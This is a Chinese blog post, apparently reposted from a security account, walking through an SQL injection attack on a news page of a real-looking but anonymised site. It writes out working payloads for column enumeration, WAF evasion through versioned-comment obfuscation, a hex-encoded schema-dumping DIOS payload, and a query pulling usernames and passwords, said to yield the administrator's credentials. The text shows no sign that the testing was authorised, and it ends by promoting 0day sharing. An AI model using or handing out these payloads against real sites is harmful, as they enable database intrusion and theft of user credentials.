项目实战 | 报错SQL注入绕过WAF
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
文章来源:安译Sec 报错的存在 一个有趣的点:http://domain.com/xxx/news.php?id=xxx 打开URL时,遇到了MySQL错误。 Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27 访问端点时出现MySQL错误 我们知道可以执行一些基于布尔的查询来利用这个报错注入,让我们开始利用。 分析网站利用方式 当我输入单引号时,导致报错 通过使用ORDER BY查询来获取列数 ORDER BY查询查找列数 查询将同时具有布尔值和ORDER BY查询,确保不会显示任何错误。 http://domain.com/xxx/news.php?id=13 AND 0 order by 1 -- 我们尝试将列数增加1,直到出现第二个错误 ?id=13 AND 0 order by 1 --(shows 1 error) ?id=13 AND 0 order by 2 -- (shows 1 error) ?id=13 AND 0 order by 3 -- (shows 1 error) ?id=13 AND 0 order by 4 -- (shows 1 error) ?id=13 AND 0 order by 5 -- (shows 1 error) ?id=13 AND 0 order by 6 -- (shows 2 errors) 当我们尝试找到第6列时,将显示两条错误消息。因此,这意味着数据库只有5列。 http://domain.com/xxx/news.php?id=13 AND 0 order by 6 -- 尝试找到第6列时出现报错 绕过WAF 使用UNION SELECT查询来进行注入 http://domain.com/xxx/news.php?id=13 AND 0 union select 1,2,3,4,5 -- 好家伙,有waf 尝试对union select进行编码 id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5 -- 成功绕过WAF 但是页面并没有回显,所以我们要养成查看前端源代码的习惯 看到数字2和3。,现在我们必须专注于这两个专栏。在这种情况下,我将尝试第二列。 id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5 -- 尝试注入DIOS有效负载,DIOS为我们所面对的SQL创建了一个很好的表示形式。我使用的DIOS有效负载是为使用0xHEX转换和/*!00000进行字符串Bypass id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 -- 找到username和password id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5 -- 得到管理员的账号密码 安译Sec官方知识星球,平时干货多多,不定期分享0Day,渗透实战,漏洞挖掘 ... ...等等的资源 END.
- 上一篇:网络安全之针对ATM机的渗透测试
- 下一篇:丢掉PSEXEC来横向渗透